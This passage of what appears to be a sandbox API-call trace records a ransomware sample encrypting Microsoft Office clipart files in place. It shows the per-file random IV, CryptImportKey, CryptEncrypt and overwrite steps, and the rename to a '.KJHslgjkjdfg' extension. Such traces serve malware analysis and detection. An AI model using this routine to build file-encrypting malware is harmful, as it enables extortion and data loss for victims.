(HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.712] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.712] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.712] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.712] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.712] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.713] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.719] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.719] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.728] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.728] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa086, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa086, lpOverlapped=0x0) returned 1 [0180.730] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa090, dwBufLen=0xa090 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa090) returned 1 [0180.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.730] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa090, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa090, lpOverlapped=0x0) returned 1 [0180.731] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.731] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.731] SetEndOfFile (hFile=0x114) returned 1 [0180.734] GetProcessHeap () returned 0x2a0000 [0180.734] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.734] GetProcessHeap () returned 0x2a0000 [0180.734] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.kjhslgjkjdfg")) returned 1 [0180.740] CloseHandle (hObject=0x114) returned 1 [0180.740] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0180.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.741] GetProcessHeap () returned 0x2a0000 [0180.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.741] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.757] GetProcessHeap () returned 0x2a0000 [0180.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.757] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.757] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.757] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.757] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.757] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.758] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.758] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.758] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x380a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x380a, lpOverlapped=0x0) returned 1 [0180.759] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3810, dwBufLen=0x3810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3810) returned 1 [0180.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.759] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3810, lpOverlapped=0x0) returned 1 [0180.760] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.760] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.760] SetEndOfFile (hFile=0x114) returned 1 [0180.762] GetProcessHeap () returned 0x2a0000 [0180.763] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.763] GetProcessHeap () returned 0x2a0000 [0180.763] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.kjhslgjkjdfg")) returned 1 [0180.764] CloseHandle (hObject=0x114) returned 1 [0180.764] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0180.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.765] GetProcessHeap () returned 0x2a0000 [0180.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.765] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.771] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.771] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.771] GetProcessHeap () returned 0x2a0000 [0180.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.771] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.771] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.771] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.772] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.772] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.772] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.772] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.773] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x899c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x899c, lpOverlapped=0x0) returned 1 [0180.774] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x89a0, dwBufLen=0x89a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x89a0) returned 1 [0180.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.774] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x89a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x89a0, lpOverlapped=0x0) returned 1 [0180.775] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.775] SetEndOfFile (hFile=0x114) returned 1 [0180.778] GetProcessHeap () returned 0x2a0000 [0180.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.778] GetProcessHeap () returned 0x2a0000 [0180.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.kjhslgjkjdfg")) returned 1 [0180.780] CloseHandle (hObject=0x114) returned 1 [0180.780] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0180.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.783] GetProcessHeap () returned 0x2a0000 [0180.783] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.783] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.783] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.787] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.788] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.788] GetProcessHeap () returned 0x2a0000 [0180.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.788] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.788] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.788] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.789] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.789] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.789] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.789] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.789] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.789] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.789] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4de6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4de6, lpOverlapped=0x0) returned 1 [0180.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4df0, dwBufLen=0x4df0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4df0) returned 1 [0180.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.791] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4df0, lpOverlapped=0x0) returned 1 [0180.791] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.791] SetEndOfFile (hFile=0x114) returned 1 [0180.793] GetProcessHeap () returned 0x2a0000 [0180.793] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.793] GetProcessHeap () returned 0x2a0000 [0180.794] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.kjhslgjkjdfg")) returned 1 [0180.795] CloseHandle (hObject=0x114) returned 1 [0180.795] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0180.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.796] GetProcessHeap () returned 0x2a0000 [0180.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.796] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.798] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.798] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.798] GetProcessHeap () returned 0x2a0000 [0180.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.799] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.799] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.799] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.799] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.799] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.799] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.799] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: 